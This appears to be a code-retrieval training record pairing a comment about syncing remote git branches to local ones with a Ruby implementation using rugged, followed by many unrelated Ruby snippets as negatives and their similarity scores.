"def test_remove_spaces\r\n\t\tisbn_number = '123 4X67 890'\r\n\t\tassert_equal('1234X67890', remove_spaces(isbn_number))\r\n\tend",
"def decrease_spaces()\n @spaces -= 1\n end",
"def tame_it( number_of_shrews )\n puts \"Literally \" + number_of_shrews.to_s\nend",
"def show_game_title(title)\n formatted_title = '| ' + title + ' |'\n dashes = '-' * formatted_title.length\n puts dashes\n puts formatted_title\n puts dashes\nend",
"def show_game_title(title)\n formatted_title = '| ' + title + ' |'\n dashes = '-' * formatted_title.length\n puts dashes\n puts formatted_title\n puts dashes\nend",
"def dont_give_me_five(start_,end_)\n number = 0\n (start_..end_).each do |n|\n n = n.to_s.split('')\n if n.include?(\"5\")\n else\n number += 1\n end\n end\n return number\nend",
"def rand_title_two\n 5.times.map do\n rand_word(8).capitalize + ' '\n end.join(' ').rstrip!\nend",
"def half_pyramid\n\n puts \"Salut, bienvenue dans ma super pyramide ! Combien d'étages veux-tu ? \"\n\n nombre= gets.chomp.to_i\n\n #permet de donner une fin à la boucle\n i=0\n #coefficient multiplicateur de #\n f=0\n space=\" \"\n #espacement\n g=nombre\n char=\"#\"\n\n puts \"Voici la pyramide :\"\n #bonus si >25 se comporte comme 25\n if (nombre>25)\n nombre=25\n end\n #crée une pyramide seulement de 1 à 25 étages\n if(nombre<=25 && nombre>=1)\n\n\n while (nombre!=i)\n\n nombre=nombre-1\n f=f+1\n g=g-1\n\n puts space*g+char*f\n\n end\n end\n\n end",
"def dynamic_phrase_4\r\n\r\n # Verse 1: **no more bottles**\r\n if one_bottle?\r\n \"no more bottles\"\r\n # Verse 0: **99 bottles**\r\n elsif zero_bottles?\r\n \"99 #{bottle_s}\"\r\n else\r\n # Verse 2: **bottle**\r\n # Verse x: **x bottles**\r\n @bottle_quantity -= 1\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end",
"def redact_five_letter_words(string)\n\t\n\tsplitted_string = string.split(' ')\n\tword_in_question = \" \"\n\t\t\n\t\tsplitted_string.each do |word|\n\t\t\t\n\t\tif word.length == 5\n\t\t\t word_in_question = word\n\t\t string.sub!(word, \"#####\")\n\t end\n\t \n\t end\n\t string\n\tend",
"def count_arara(num)\n\tnum_adak = (num/2).floor\n\tnum_anane = num%2\n\tphrase = \"adak \"*num_adak + \"anane\"*num_anane\n\tphrase = phrase.sub(/[\" \"]\\Z/, \"\")\n\tphrase\nend",
"def solo5(arr)\n\tarr.delete_if {|sup| sup.include?(\" \")} \n\t#p zombie_apocalypse_supplies\nend",
"def spacing\n return SPACING\n end",
"def spacing\n return SPACING\n end",
"def code\n @code.rjust(5, '0')\n end",
"def test_score_a_word_having_multiple_different_tiles\n\t\t\"LEWIS\".each_char { |x| @word.append x.to_sym }\n\t\tassert_equal 8, @word.score\n\tend",
"def remaining_characters\n super + (@tag_present ? 3 : 0)\n end",
"def letra_x(n)\n result = \"\" \n t = n-1\n (n).times do |i| \n n.times do |b| \n if t == b \n result += \"*\"\n elsif i == b\n result += \"*\"\n else\n result += \" \"\n end\n end \n t -= 1 \n result += \"\\n\"\n end\n result\nend",
"def hamstrings_stretch\n \"Remaining seated, extend one leg outward. Reach toward your toes. Hold for 10 to 30 seconds. Repeat on the other side. Be sure to do this one leg at a time, as doing this exercise with both legs out can cause back issues.\"\nend",
"def repeater(string)\n return string * 5\nend",
"def roll_two\n puts %Q{...........}\n puts %Q{: * :}\n puts %Q{: :}\n puts %Q{: * :}\n puts %Q{'''''''''''}\nend"
] | [
"0.67958164",
"0.61110485",
"0.6009017",
"0.6009017",
"0.59963244",
"0.59069663",
"0.58531207",
"0.5825161",
"0.5770335",
"0.57419324",
"0.57172257",
"0.56955814",
"0.56877786",
"0.56650263",
"0.5609521",
"0.55905306",
"0.55867755",
"0.5581871",
"0.5581871",
"0.5565977",
"0.5552269",
"0.5547557",
"0.5538677",
"0.552642",
"0.5510355",
"0.54936695",
"0.54928344",
"0.54850525",
"0.5478555",
"0.54749656",
"0.5459597",
"0.5458629",
"0.54557604",
"0.54499495",
"0.544746",
"0.543087",
"0.5430407",
"0.54264784",
"0.5422524",
"0.54207724",
"0.5379624",
"0.5377299",
"0.53745824",
"0.5372314",
"0.5372138",
"0.53719723",
"0.53698677",
"0.5369632",
"0.5361191",
"0.5361108",
"0.5361066",
"0.53463656",
"0.53328186",
"0.53328186",
"0.53259397",
"0.5292674",
"0.5290463",
"0.5286573",
"0.5281773",
"0.5270023",
"0.5270023",
"0.52600276",
"0.52474165",
"0.5244299",
"0.5223565",
"0.52204907",
"0.52195054",
"0.52163476",
"0.5209474",
"0.52061313",
"0.5205707",
"0.5203017",
"0.5202282",
"0.5201409",
"0.51976126",
"0.5189788",
"0.51894414",
"0.51870036",
"0.51667166",
"0.51661366",
"0.51616174",
"0.5157013",
"0.5151532",
"0.51503813",
"0.51503813",
"0.5149904",
"0.5149801",
"0.51491886",
"0.5148584",
"0.51483613",
"0.51470304",
"0.5146735",
"0.5137552",
"0.5137552",
"0.5136537",
"0.51300657",
"0.51290935",
"0.5126656",
"0.5126113",
"0.5121673",
"0.51156497"
] | 0.0 | -1 |
an empty array accessible to all methods | def border
puts "--------------------------------".center(75)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def array\n raise \"Not implemented\"\n end",
"def another; return []; end",
"def all\n []\n end",
"def __array__; self; end",
"def to_ary\n\t []\n\tend",
"def variables\n EMPTY_ARRAY\n end",
"def array\n @@array\n end",
"def initialize; @ary = []; end",
"def to_a; []; end",
"def required_data() [] end",
"def to_ary; []; end",
"def initialize\n @array = []\n end",
"def all\n @@all ||= Array.new\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def array_start\n []\n end",
"def to_ary; nil; end",
"def values\n []\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def to_ary\n nil\n end",
"def airports_normal\n return Array.new\n end",
"def array()\n\t\t@array\n\tend",
"def ignorable_objects\n\t\t[]\n\tend",
"def empty()\n \n end",
"def get_data\n @data = []\n end",
"def Array(p0) end",
"def void_array(*args)\n return nil.to_a\n end",
"def discardable\n []\n end",
"def defaults\n []\n end",
"def invokables\n []\n end",
"def get_items\n\t\t@arr\n\tend",
"def array\n\t\t#create an array of\n\t\tarray = [0, 1, 2, 3, 4, 5, 6, 7, 8]\n\tend",
"def array\n @array\n end",
"def airports_out_of_region\n return Array.new\n end",
"def exposed_methods\n []\n end",
"def exposed_methods\n []\n end",
"def variables_instance\n warn 'i dont like this!'\n []\n end",
"def initialize arr = []\n super arr\n end",
"def []=(*) end",
"def in_memory\n []\n end",
"def initialize\n @data = []\n end",
"def initialize\n @more_array = Array.new\n end",
"def to_ary()\n return nil;\n end",
"def all\n @list || []\n end",
"def empty!\r\n\t\t@items = []\r\n\tend",
"def empty!; end",
"def items\n\t\t\t\tnil\n\t\t\tend",
"def array\n self.allObjects\n end",
"def initialize()\n\t@list_arr\t= []\nend",
"def missing_data\n only_missing.to_a\n end",
"def get_array\n\t\tsynchronize do\n\t\t\[email protected]_until{@array.size > 0}\n\t\t\ta = @array\n\t\t\t@array = []\n\t\t\treturn a\n\t\tend\n\tend",
"def in_memory\n []\n end",
"def in_memory\n []\n end",
"def initial_state\n []\n end",
"def existing\n []\n end",
"def list\n {}\nend",
"def zero()\n\treturn([0,0,0,0,0,0,0,0,0])\nend",
"def initialize\n\t\t@e = []\n\tend",
"def get_all()\n raise \"Must be overridden\"\n end",
"def all\n\t\t@data_base.keys.dup || []\n\tend",
"def make_array\n [@name, @author, @deviation_url, @views, @favs, @comments]\n end",
"def values\n @values ||= []\n end",
"def initialize\n @Users = Array.new \n end",
"def keys\n return [], []\n end",
"def initialize\n empty!\n end",
"def initialize\n empty!\n end",
"def keys\n return []\n end",
"def initialize_issues_array\n find_all_issues\n end",
"def to_a; Array(force) end",
"def to_ary\n [ self ]\n end",
"def get_items\r\n @arr.to_a\r\n end",
"def to_a; [self] end",
"def to_a; [self] end",
"def values\n @values ||= []\n end",
"def clear\n with(keys: EMPTY_ARRAY)\n end",
"def initialize\n @listOfItem = Array.new\n end",
"def __elements\n @__elements ||= {}\n end",
"def initialize arr = [], deferred = [], missing = []\n super arr\n @deferred = deferred\n @missing = missing\n end",
"def clear_data \n @data = []\n end",
"def list\n @list ||= []\n end",
"def build_array\n arr = []\n yield(arr)\n arr \n end",
"def methods=(_arg0); end",
"def clear\n @known = []\n end",
"def data\n {}\n end",
"def attributes; @attributes ||= []; end",
"def initialize\n @_calls = []\n end",
"def to_a; [self]; end",
"def items\n @items ||= []\n end",
"def empty_curve\n Array.new(FRAMES, 0.0)\n end",
"def points\n []\n end",
"def elements; end",
"def elements; end",
"def elements; end",
"def instantiate_new_array\n<<<<<<< HEAD\n Array.new\nend",
"def users\n []\n end",
"def all\n @rarray\n end"
] | [
"0.73341405",
"0.7154377",
"0.70395124",
"0.6939797",
"0.68577194",
"0.6831367",
"0.67742383",
"0.67736715",
"0.6770608",
"0.675761",
"0.6746169",
"0.67191696",
"0.6681353",
"0.661779",
"0.661779",
"0.661779",
"0.661779",
"0.6611431",
"0.65442127",
"0.6529813",
"0.652277",
"0.6505915",
"0.6505915",
"0.6505915",
"0.6505915",
"0.6502524",
"0.64952826",
"0.645656",
"0.6393116",
"0.63789195",
"0.63611114",
"0.6334588",
"0.6327558",
"0.63256234",
"0.63189673",
"0.63172346",
"0.6296135",
"0.6292642",
"0.6292023",
"0.62846667",
"0.62846667",
"0.6251168",
"0.6241256",
"0.6222292",
"0.62099326",
"0.6208323",
"0.6190815",
"0.61832386",
"0.618115",
"0.61775017",
"0.6176499",
"0.6162423",
"0.6152129",
"0.6145069",
"0.61387867",
"0.613435",
"0.6128402",
"0.6128402",
"0.6122757",
"0.6091468",
"0.6087842",
"0.60775876",
"0.6071743",
"0.60342175",
"0.60334545",
"0.603068",
"0.602223",
"0.60171086",
"0.59929466",
"0.59864724",
"0.59864724",
"0.5981396",
"0.59717256",
"0.5959422",
"0.59421134",
"0.593213",
"0.5928745",
"0.5928745",
"0.59279776",
"0.5917732",
"0.59148663",
"0.59141994",
"0.5905558",
"0.5897715",
"0.58936566",
"0.58773965",
"0.5873992",
"0.58636725",
"0.5857826",
"0.584588",
"0.584565",
"0.58355963",
"0.58351606",
"0.5830997",
"0.58196956",
"0.58165",
"0.58165",
"0.58165",
"0.58129096",
"0.5810123",
"0.5806773"
] | 0.0 | -1 |
FIXME: Somebody could please remove this duplication? This logic is already in the ApplicationController | def friendly_post_path(post)
friendly_post_show_path post.created_at.year,
"%02d" % post.published_at.month,
"#{post.friendly_id}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def on_pre_request( request )\n end",
"def on_pre_request( request ); end",
"def before_dispatch(_env)\n end",
"def before_dispatch(env); end",
"def before_filter; end",
"def after_view_setup\n end",
"def before_request\n end",
"def index\n # The hook below can access controller's instance variables.\n if current_user\n if current_user.role?:livia_admin\n redirect_to companies_url\n elsif is_secretary_or_team_manager?\n redirect_to \"/wfm/notes\"\n elsif current_user.end_user\n redirect_to physical_clientservices_home_index_path\n elsif is_client\n redirect_to matter_clients_url\n elsif current_user.role?:lawfirm_admin\n redirect_to lawfirm_admins_url\n return\n end\n else\n flash[:error] = t(:flash_DB_error)\n redirect_to login_url\n end\n end",
"def add_values_application_controller\n inject_into_class \"app/controllers/application_controller.rb\", \"ApplicationController\" do\n \" helper_method :current_user \\n \" +\n \" after_filter :path \\n\"+\n \" private \\n\" +\n \" def current_user \\n\" +\n \" table_name = Rails.application.config.devise_model_name.titlecase \\n\"+\n \" @table_name = table_name.constantize \\n\"+\n \" @current_user ||= @table_name.find(session[:user_id]) if session[:user_id] \\n\\n\" +\n \" end \\n\\n\" +\n \" def path \\n\"+\n \" path= request.path \\n\"+\n \" notice = request.flash[:notice] \\n\"+\n \" @devise_model_name = Rails.application.config.devise_model_name \\n\"+\n \" if path == '/'+@devise_model_name+'s/sign_up' && notice == 'This is one time process' \\n\"+\n \" count =+ 1 \\n\"+\n \" if count == 1 \\n\"+\n \" session[:last_get_url] = '1' \\n\"+\n \" end \\n\"+\n \" else \\n\"+\n \" count = 0 \\n\"+\n \" session[:last_get_url] = '0' \\n\"+\n \" end \\n\"+\n \" end \\n\\n\"+\n \" def after_sign_in_path_for(current_user) \\n\"+\n \" last_get_url = session[:last_get_url] \\n\"+\n \" if session[:last_get_url].to_s == '1' \\n\"+\n \" @devise_model_name = Rails.application.config.devise_model_name \\n\"+\n \" table_name = Rails.application.config.devise_model_name.titlecase \\n\"+\n \" @table_name = table_name.constantize\\n\"+\n \" @user = @table_name.find_by_id(current_user) \\n \" +\n \" @socialAccounts = SocialAccount.find_by_user_id(@user.id.to_s) \\n\\n\"+\n \" if @socialAccounts \\n \"+\n \" session[:user_id] = @user.id \\n\"+\n \" sign_in(@user) \\n\"+\n \" return root_path \\n\"+\n \" else \\n\"+\n \" @newaccount = SocialAccount.new \\n\"+\n \" @newaccount.user_id = @user.id \\n\"+\n \" @newaccount.provider = session[:auth_provider] \\n\"+\n \" @newaccount.uid = session[:auth_uid] \\n\"+\n \" @newaccount.account_name = session[:auth_account_name] \\n\"+\n \" @newaccount.save! \\n\"+\n \" session[:user_id] = @user.id \\n\"+\n \" sign_in(@user) \\n\"+\n \" return root_path \\n\"+\n \" end \\n\"+\n \" else \\n\"+\n \" session.delete(:auth_provider) \\n\"+\n \" session.delete(:auth_uid) \\n\"+\n \" session.delete(:auth_account_name) \\n\"+\n \" return root_path \\n\"+\n \" end \\n\"+\n \" end \\n\\n\"\n end #EO inject_into_class\n end",
"def on_before_load\n end",
"def is_controller?; false; end",
"def enforce_viewing_context_for_show_requests \n end",
"def setup_index_view()\n # Perhaps I'm not doing something right...\n # I don't have a single line of duplicated code\n # in those in my get and post calls, so this is \n # difficult to refactor.\nend",
"def access_control\n \n end",
"def controller_class; end",
"def controller_class; end",
"def appraisals; end",
"def appraisals; end",
"def before_run; end",
"def private; end",
"def current_resource_owner\n raise \"Your ApplicationController needs to implement current_resource_owner!\"\n end",
"def _prepare_context; end",
"def after_request\n end",
"def update_application_controller\n inject_into_file 'app/controllers/application_controller.rb', after: \"protect_from_forgery with: :exception\\n\" do <<-'RUBY'\n before_action :authenticate_or_token\n\n protected\n def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:locale, :name, :username, :email, :password, :password_confirmation, :role, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :password, :password_confirmation, :current_password, :role) }\n I18n.locale = @current_user.locale || I18n.default_locale unless @current_user.nil?\n end\n\n # Validate user session if is not API call\n def authenticate_or_token\n authenticate_user! if params[:controller].index('api').nil? && request.fullpath != root_path\n @current_user = current_user if @current_user.nil?\n end\n\n RUBY\n end\n end",
"def ordered_railties; end",
"def ordered_railties; end",
"def before_bootstrap\n end",
"def require_correct_petsitter\n\n\t # because this controller inherits/subclasses from app controller and i have in app controller defined current_petsitter means i can use that method here( 3 CHEERS FOR INHERITANCE!!!!!!! )\n\n\t @petsitter = Petsitter.find( params[:id] )\n\n\t unless current_petsitter == @petsitter\n\n\t # rememeber we can't redirect to sign in page because they bypassed the first gate which means they are signed in so no need to give them sign in page - also we don't warn them because it means they knew what they were doing - TRYING TO BREAK INTO S/ONE ELSE'S ACCOUNT AND CHANGE STUFF\n\t redirect_to root_path\n\t end\n\n\t \n\t end",
"def before_resolution\n end",
"def admin_logic\n end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def normalize_controller!; end",
"def loc_view\n \n end",
"def before_bootstrap; end",
"def middleware; end",
"def controller_path; end",
"def controller_path; end",
"def app_landing\n end",
"def before_action \n end",
"def parent_api; end",
"def parent_api; end",
"def lookup_context; end",
"def lookup_context; end",
"def lookup_context; end",
"def view #TODO: can probably cut down on duplication between get and post conditions below\n if request.get?\n if !session[:current_user_id].nil?\n user_id = session[:current_user_id]\n @account_names = AccountsHelper.get_account_names user_id\n @category_names = CategoriesHelper.get_category_names(user_id, session[:account_name])\n if @account_names.nil?\n flash_no_account_alert\n elsif @category_names.empty?\n flash_no_category_alert\n else\n @consolidated_entries = EntriesHelper.get_consolidated_entries(user_id, session[:account_name])\n if @consolidated_entries.empty?\n flash.now[:alert] = \"No Entries have been added to account categories!\"\n else\n @account_total = AccountsHelper.get_account_total(user_id, session[:account_name])\n end\n end\n else\n redirect_to users_signin_url\n end\n elsif request.post?\n if !session[:current_user_id].nil?\n user_id = session[:current_user_id]\n account_name = params[:account_name]\n session[:account_name] = account_name\n @account_names = AccountsHelper.get_account_names user_id\n @category_names = CategoriesHelper.get_category_names(user_id, session[:account_name])\n if @category_names.empty?\n flash_no_category_alert\n else\n @consolidated_entries = EntriesHelper.get_consolidated_entries(user_id, session[:account_name])\n end\n redirect_to entries_view_url\n end\n end\n end",
"def authorization; end",
"def show \n # DIY Authorization\n @some_user = User.find(params[:id]) \n # ^ so users can't access eachothers show page by changing the URL :id\n\n if @some_user.id != session[:user_id]\n redirect_to '/' \n else \n # assign current_user(from AppController) to the instance vari @user\n @user = current_user # looks them up by session[:user_id]\n end\n end",
"def prepare_for_action\n # #don't save stuff between requests\n NotRelational::RepositoryFactory.instance.clear_session_cache\n @@page_blurbs =Set.new\n @renderer_params={}\n $current_weblab=nil\n @current_user=nil\n @displayed_blurb_names=Set.new\n # if BannedIp.is_banned?(request.remote_ip)\n # head(401)\n # return\n # end\n\n prepare_language_for_action\n prepare_powerbar_for_action\n prepare_rendermode_for_action\n prepare_weblab_for_action\n\n\n self.page_title=\"Rengine\"\n self.no_wrap=false\n return true\n end",
"def configure_default_url_options!\n DefaultUrlOptions.configure!(request)\n ensure\n def ApplicationController.configure_default_url_options!() end\n ### TODO - should be able to removed the filter but rails doesn't like it...\n end",
"def around_hooks; end",
"def vendor_view\n# @vendor = curren_vendor # current vendor sign_in\n# if @vendor.access_key == @vendor_questionnaire.access_key\n @action_url = vendor_answer_path(@vendor_questionnaire)\n @vendor_answer = @vendor_questionnaire.vendor_answer\n @vendor_signatures = @vendor_questionnaire.signatures.first\n# else\n# flash[:error] = \"You are not authorized to access this page.\"\n# redirect_to main_menu_path and return false\n# end\n end",
"def after_initialize\n end",
"def rendered_views; end",
"def active_for_authentication?; end",
"def active_for_authentication?; end",
"def controller; nil; end",
"def controller_name; end",
"def controller_name; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def controller\n ApplicationController\n end",
"def filter_redirect; end",
"def filter_redirect; end",
"def use_relative_controller!; end",
"def after_filter; end",
"def context\n { controller: self, current_user: current_user }\n end",
"def before_setup; end",
"def require_authentication\n\n # No matter what the app does a user can always login, forgot\n # password and register. The controllers provided by this\n # plugin alreaddy have these controllers/actions on an\n # exception list but this prevents a mistake an overridden\n # controller from preventing the normal login behavior.\n %w(session password user).each do |c|\n \t %w(new create).each do |a|\n return if (controller_name == c) && (action_name == a)\n end\n \t end\n\n # If we cannot get the current user store the requested page\n # and send them to the login page.\n if current_user.nil? or current_user.anonymous?\n redirect_to login_url(:return_to => request.url) and false\n end\n end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end"
] | [
"0.62319016",
"0.61627704",
"0.60880727",
"0.60674274",
"0.600287",
"0.5941887",
"0.57804185",
"0.5642012",
"0.5590832",
"0.5536981",
"0.5500991",
"0.5498878",
"0.54506963",
"0.54376",
"0.5403395",
"0.5403395",
"0.53921664",
"0.53921664",
"0.53391665",
"0.5326418",
"0.53215665",
"0.532087",
"0.5315141",
"0.526883",
"0.5268256",
"0.5268256",
"0.526716",
"0.5247022",
"0.5245619",
"0.5234821",
"0.52335215",
"0.52335215",
"0.52335215",
"0.52335215",
"0.52335215",
"0.52335215",
"0.52335215",
"0.52335215",
"0.52335215",
"0.52335215",
"0.5221776",
"0.52140975",
"0.5210115",
"0.52069527",
"0.5191915",
"0.5191915",
"0.5177754",
"0.5172434",
"0.51666933",
"0.51666933",
"0.51653177",
"0.51653177",
"0.51653177",
"0.5162256",
"0.5148621",
"0.5147223",
"0.51358134",
"0.513093",
"0.5115497",
"0.5109348",
"0.5104568",
"0.50900745",
"0.5088836",
"0.5088836",
"0.5087111",
"0.5084207",
"0.5084207",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5076464",
"0.5075582",
"0.50752556",
"0.50752556",
"0.5061721",
"0.506101",
"0.50601333",
"0.505321",
"0.5053199",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435",
"0.50461435"
] | 0.0 | -1 |
FIXME: make it generic | def inspect_post_html(id, element, regexp)
position = find("#post_#{id} #{element}").text =~ regexp
position.should be_a_kind_of Fixnum
position.should_not be_nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def probers; end",
"def schubert; end",
"def custom; end",
"def custom; end",
"def formation; end",
"def identify; end",
"def suivre; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def implementation; end",
"def implementation; end",
"def operations; end",
"def operations; end",
"def wrapper; end",
"def terpene; end",
"def intensifier; end",
"def transformations; end",
"def transform; end",
"def stderrs; end",
"def offences_by; end",
"def trd; end",
"def verdi; end",
"def berlioz; end",
"def common\n \n end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def anchored; end",
"def refutal()\n end",
"def weber; end",
"def processor; end",
"def probers=(_arg0); end",
"def same; end",
"def next() end",
"def next() end",
"def original_result; end",
"def from; end",
"def from; end",
"def from; end",
"def from; end",
"def operation; end",
"def reflector; end",
"def reflector; end",
"def r; end",
"def r; end",
"def generic?; true; end",
"def transforms; end",
"def internal; end",
"def reflection; end",
"def reflection; end",
"def extra; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def overload; end",
"def strategy; end",
"def values() end",
"def mapping; end",
"def mapping; end",
"def overrides; end",
"def first; end",
"def first; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def apply\n\t\t\t\t\n\t\t\tend",
"def villian; end",
"def sitemaps; end",
"def offences_by=(_arg0); end",
"def param; end",
"def param; end",
"def who_we_are\r\n end",
"def schumann; end",
"def apply\n end",
"def returns; end",
"def bs; end",
"def code_of_conduct; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def init; end",
"def init; end"
] | [
"0.7342122",
"0.65914446",
"0.65914446",
"0.65914446",
"0.65914446",
"0.637899",
"0.6285067",
"0.6065699",
"0.6065699",
"0.60237616",
"0.5938141",
"0.59209174",
"0.5919319",
"0.5919319",
"0.5857363",
"0.5857363",
"0.58088505",
"0.58088505",
"0.58007675",
"0.57436574",
"0.5725183",
"0.5711166",
"0.5660439",
"0.565319",
"0.5637479",
"0.56259114",
"0.5620114",
"0.561123",
"0.56097186",
"0.5589",
"0.5589",
"0.5589",
"0.5589",
"0.5587801",
"0.5587472",
"0.5581578",
"0.558093",
"0.5566308",
"0.55497336",
"0.55335206",
"0.55335206",
"0.5526802",
"0.5525066",
"0.5525066",
"0.5525066",
"0.5525066",
"0.55214006",
"0.54957867",
"0.54957867",
"0.5488106",
"0.5488106",
"0.548284",
"0.5482685",
"0.54683334",
"0.54672384",
"0.54672384",
"0.54638064",
"0.54543334",
"0.54543334",
"0.54543334",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.5418858",
"0.54174364",
"0.5401955",
"0.5394424",
"0.5394424",
"0.53889984",
"0.5381343",
"0.5381343",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.5375308",
"0.53676814",
"0.5366868",
"0.5353744",
"0.5345134",
"0.5345134",
"0.53411216",
"0.5341037",
"0.5336173",
"0.5323719",
"0.53231424",
"0.5321209",
"0.5317205",
"0.5317205",
"0.5317205",
"0.5312516",
"0.5312516"
] | 0.0 | -1 |
FIXME: make it generic | def get_html_element(handle, css_class)
find("##{handle_to_id(handle)} .description p a.#{css_class}")
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def probers; end",
"def schubert; end",
"def custom; end",
"def custom; end",
"def formation; end",
"def identify; end",
"def suivre; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def implementation; end",
"def implementation; end",
"def operations; end",
"def operations; end",
"def wrapper; end",
"def terpene; end",
"def intensifier; end",
"def transformations; end",
"def transform; end",
"def stderrs; end",
"def offences_by; end",
"def trd; end",
"def verdi; end",
"def berlioz; end",
"def common\n \n end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def anchored; end",
"def refutal()\n end",
"def weber; end",
"def processor; end",
"def probers=(_arg0); end",
"def same; end",
"def next() end",
"def next() end",
"def original_result; end",
"def from; end",
"def from; end",
"def from; end",
"def from; end",
"def operation; end",
"def reflector; end",
"def reflector; end",
"def r; end",
"def r; end",
"def generic?; true; end",
"def transforms; end",
"def internal; end",
"def reflection; end",
"def reflection; end",
"def extra; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def result; end",
"def overload; end",
"def strategy; end",
"def values() end",
"def mapping; end",
"def mapping; end",
"def overrides; end",
"def first; end",
"def first; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def apply\n\t\t\t\t\n\t\t\tend",
"def villian; end",
"def sitemaps; end",
"def offences_by=(_arg0); end",
"def param; end",
"def param; end",
"def who_we_are\r\n end",
"def schumann; end",
"def apply\n end",
"def returns; end",
"def bs; end",
"def code_of_conduct; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def init; end",
"def init; end"
] | [
"0.7342122",
"0.65914446",
"0.65914446",
"0.65914446",
"0.65914446",
"0.637899",
"0.6285067",
"0.6065699",
"0.6065699",
"0.60237616",
"0.5938141",
"0.59209174",
"0.5919319",
"0.5919319",
"0.5857363",
"0.5857363",
"0.58088505",
"0.58088505",
"0.58007675",
"0.57436574",
"0.5725183",
"0.5711166",
"0.5660439",
"0.565319",
"0.5637479",
"0.56259114",
"0.5620114",
"0.561123",
"0.56097186",
"0.5589",
"0.5589",
"0.5589",
"0.5589",
"0.5587801",
"0.5587472",
"0.5581578",
"0.558093",
"0.5566308",
"0.55497336",
"0.55335206",
"0.55335206",
"0.5526802",
"0.5525066",
"0.5525066",
"0.5525066",
"0.5525066",
"0.55214006",
"0.54957867",
"0.54957867",
"0.5488106",
"0.5488106",
"0.548284",
"0.5482685",
"0.54683334",
"0.54672384",
"0.54672384",
"0.54638064",
"0.54543334",
"0.54543334",
"0.54543334",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.54252416",
"0.5418858",
"0.54174364",
"0.5401955",
"0.5394424",
"0.5394424",
"0.53889984",
"0.5381343",
"0.5381343",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.53774697",
"0.5375308",
"0.53676814",
"0.5366868",
"0.5353744",
"0.5345134",
"0.5345134",
"0.53411216",
"0.5341037",
"0.5336173",
"0.5323719",
"0.53231424",
"0.5321209",
"0.5317205",
"0.5317205",
"0.5317205",
"0.5312516",
"0.5312516"
] | 0.0 | -1 |
For each branch across all remotes, create the most recent local version | def sync_remotes_to_local(repo)
local_branches = {}
remote_branches = {}
repo.branches.each {|branch|
before, after = branch.name.split('/')
if after.nil? # Test if this is a local branch
local_branches[before] = branch
else
if branch.type == :direct # Ignore origin/HEAD etc.
remote_branches[after] = [] unless remote_branches.key? after
remote_branches[after].push branch
end
end
}
remote_branches.each {|name, remotes|
begin
max = remotes.max {|a, b|
commit_compare repo, a.target, b.target
}
rescue ArgumentError
raise Exception.new("Could not fast-forward sync #{a.name} with #{b.name}")
else
if local_branches.key? name
if repo.descendant_of? local_branches[name].target, max.target
max.target = local_branches[name].target
else
logged_refupdate(repo, local_branches[name], max)
end
else
puts "Creating branch: #{name} <= #{max.name}"
local_branches[name] = repo.branches.create(name, max.target.oid)
end
end
}
local_branches
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
